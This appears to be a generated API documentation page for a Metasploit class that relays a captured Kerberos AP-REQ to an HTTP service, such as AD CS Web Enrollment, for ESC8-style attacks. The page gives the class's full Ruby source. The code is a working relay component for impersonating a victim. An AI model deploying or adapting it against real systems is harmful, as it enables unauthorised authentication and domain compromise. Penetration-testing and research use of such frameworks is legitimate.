Class: Msf::Exploit::Remote::Relay::Kerberos::Target::HTTP::Client

Inherits:
Object
  • Object
show all
Extended by:
Forwardable
Defined in:
lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb

Overview

HTTP relay target for Kerberos (CVE-2026-20929). Replays a captured AP-REQ to a real HTTP service (e.g. AD CS Web Enrollment for ESC8) over a SPNEGO Negotiate exchange.

Unlike NTLM, a Kerberos AP-REQ is a complete, self-contained credential: there is no challenge/response round-trip, so the relay is a single request. On success the connection is left open for the calling module to issue authenticated follow-up requests (mirroring how the NTLM ESC8 target reuses the relayed connection).

Instance Attribute Summary collapse

Class Method Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize(client:, target:, logger: nil, timeout: -1)) ⇒ Client

Returns a new instance of Client.

Parameters:

  • client (Rex::Proto::Http::Client)

    the connected HTTP client

  • target (Object)

    the relay target descriptor

  • logger (Object, nil) (defaults to: nil)

    receives print_* logging calls

  • timeout (Integer) (defaults to: -1))

    send/recv timeout (-1 for the default)



38
39
40
41
42
43
# File 'lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb', line 38

def initialize(client:, target:, logger: nil, timeout: -1)
  @client = client
  @target = target
  @logger = logger
  @timeout = timeout
end

Instance Attribute Details

#loggerObject (readonly, protected)

Returns the value of attribute logger.



115
116
117
# File 'lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb', line 115

def logger
  @logger
end

#targetObject (readonly)

Returns the relay target descriptor (ip/port/path/protocol).

Returns:

  • (Object)

    the relay target descriptor (ip/port/path/protocol)



32
33
34
# File 'lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb', line 32

def target
  @target
end

Class Method Details

.create(provider, target, logger, timeout) ⇒ Object

Build a target client bound to the relay server connection’s TLS context, matching the NTLM target factory signature.



47
48
49
50
51
52
53
54
55
56
57
58
# File 'lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb', line 47

def self.create(provider, target, logger, timeout)
  http_logger_subscriber = Rex::Proto::Http::HttpLoggerSubscriber.new(logger: logger)
  client = Rex::Proto::Http::Client.new(
    target.ip,
    target.port,
    provider.dispatcher.tcp_socket.context,
    target.protocol == :https,
    subscriber: http_logger_subscriber
  )

  new(client: client, target: target, logger: logger, timeout: timeout)
end

Instance Method Details

#connRex::Socket?

The underlying socket of the relayed connection.

This class stands in for a Rex::Proto::Http::Client when it is passed to #send_request_raw as ‘client’, and that method reaches for the socket after every request to trace the peer certificate. Without this it raises NoMethodError once the relay succeeds.

Returns:

  • (Rex::Socket, nil)


105
106
107
# File 'lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb', line 105

def conn
  @client.conn
end

#disconnect!Object



109
110
111
# File 'lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb', line 109

def disconnect!
  @client.close
end

#log_error(msg) ⇒ Object (protected)

Surface an error once: to the operator console when a logger is attached (the create path always attaches one), otherwise to the framework log so a loggerless client still records it.



127
128
129
130
131
132
133
# File 'lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb', line 127

def log_error(msg)
  if @logger
    @logger.print_error(msg)
  else
    elog(msg)
  end
end

#relay_ap_req(ap_req_der) ⇒ Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult?

Replay a captured AP-REQ to the target’s HTTP service.

Parameters:

  • ap_req_der (String)

    the captured AP-REQ as DER bytes

Returns:



65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
# File 'lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb', line 65

def relay_ap_req(ap_req_der)
  security_blob = Rex::Proto::Gss::KerberosToken.build_spnego_ap_req(ap_req_der)

  req = @client.request_raw(
    'method' => 'GET',
    'uri' => @target.path,
    'headers' => {
      'Accept-Encoding' => 'identity',
      'Authorization' => "Negotiate #{Base64.strict_encode64(security_blob)}"
    }
  )
  res = @client.send_recv(req, @timeout, true)

  if res.nil?
    log_error("No HTTP response received from #{@target}")
    return nil
  end

  Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult.new(
    message: res,
    success: successful_status?(res.code)
  )
end

#send_recv(req, timeout = -1)) ⇒ Object

Send a follow-up request on the relayed, now-authenticated connection. The connection is kept persistent so the Kerberos-authed session stays open across the enrollment exchange (send_request_raw drives this with ‘client’ => self).



93
94
95
# File 'lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb', line 93

def send_recv(req, timeout = -1)
  @client.send_recv(req, timeout, true)
end

#successful_status?(code) ⇒ Boolean (protected)

Whether an HTTP status code indicates the relayed AP-REQ was accepted. Configurable per target, defaulting to any 2xx.

Returns:

  • (Boolean)


119
120
121
122
# File 'lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb', line 119

def successful_status?(code)
  expected = @target.respond_to?(:protocol_options) ? @target.protocol_options.fetch(:http_status_code, 200..299) : (200..299)
  expected.is_a?(Range) ? expected.include?(code) : expected == code
end